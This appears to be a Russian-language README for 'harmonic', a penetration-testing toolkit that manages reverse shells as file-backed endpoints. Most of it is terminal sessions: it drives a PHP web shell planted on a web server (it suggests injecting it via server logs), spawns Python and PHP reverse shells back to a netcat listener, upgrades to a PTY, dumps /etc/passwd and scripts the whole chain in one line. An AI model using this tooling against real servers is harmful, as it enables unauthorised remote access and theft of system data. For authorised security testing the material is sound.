
Набор инструментов для работы с обратными оболочками, ориентированный на работу в нативной оболочке.
Начало набора linux-инструментов для управления и взаимодействия с обратными оболочками (код всё ещё находится в быстром и грязном состоянии, с минимальной обработкой исключений). Вдохновляясь философией UNIX, основная идея заключается в наличии демона для обработки произвольных конечных точек (connd, хотя это ещё не полноценный демон, но может работать в отдельном терминале) и запуске инструментов для работы с этими конечными точками.
Конечные точки «управляются» скриптом или процессом и представлены в виде файлов в файловой системе. Затем можно использовать тонкий клиент для взаимодействия с ними, но также можно легко записывать и читать с помощью shell-команд. Фактически, возможность запускать скрипты автономно из оболочки является ключевым фактором дизайна, когда в идеале скрипт будет зависеть только от наличия конечной точки, но также может использоваться в комбинации (каскадируя друг в друга).
Текущие варианты конечных точек:
Тонкий клиент (hthinc.py) предоставляет базовый интерфейс к конечным точкам системы, а также позволяет быстро запускать скрипты в системе. Было написано несколько базовых, но полезных скриптов:
Типы драйверов обратных оболочек (т.е. что управляет оболочкой на удалённой системе) следующие (сейчас поддерживаются linux):
Другие скрипты:
Сообщите connd запустить конечную точку, используя драйвер wedge shell для предоставленного php-скрипта, который выполняет системные вызовы с форматированным ответом. Однако этот однострочный скрипт можно было так же легко внедрить в лог сервера
$ hconnd.py start wsh http://example.com/hwsh.php
1
Это создало конечную точку 1 (два канала ввода/вывода — вы можете видеть их как t1i и t1o в подкаталоге run). Теперь используем hthinc.py для взаимодействия с оболочкой.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Мы знаем, что это Linux-машина. Мы хотим уйти от встроенной веб-оболочки и получить нормальную оболочку. Запуск встроенной команды !help показывает справочное сообщение thinc. Мы можем запустить скрипт sp, который выполнит команды на удалённой системе, перебор среды, запустит конечную точку nc, создаст обратную оболочку и автоматически подключится через новый экземпляр hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Или если мы знаем, что используем (например) PHP в качестве драйвера, можем указать его:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
И, скажем, у нас есть оболочка без TTY или мы хотим вырваться, можно запустить один из макросов по умолчанию:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Также, если мы хотим записать вывод команды, можно использовать скрипт log, который сохранит его в текущий рабочий каталог:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Пока конечные точки работают, вы можете подключать/отключать клиентов, так как процессы соединения управляются демоном
Поскольку всё можно запустить более unix-способом, мы можем быстро повторять процессы из оболочки. Запускаем конечную точку webshell, получаем ID конечной точки, а затем из оболочки запускаем скрипт-спавнер sp.py для этой конечной точки (это тот же скрипт, что используется в hthinc.py, но с другой точкой входа).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
или одной строкой:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
и легко автоматизировать:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
Инструмент hcmd.py позволяет быстро выполнить команду через конечную точку из вашей оболочки
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
и передать или перенаправить результаты как обычно
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
Вы можете использовать глагол list для hconn.py, чтобы увидеть текущий список конечных точек с состоянием соединения, если применимо
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening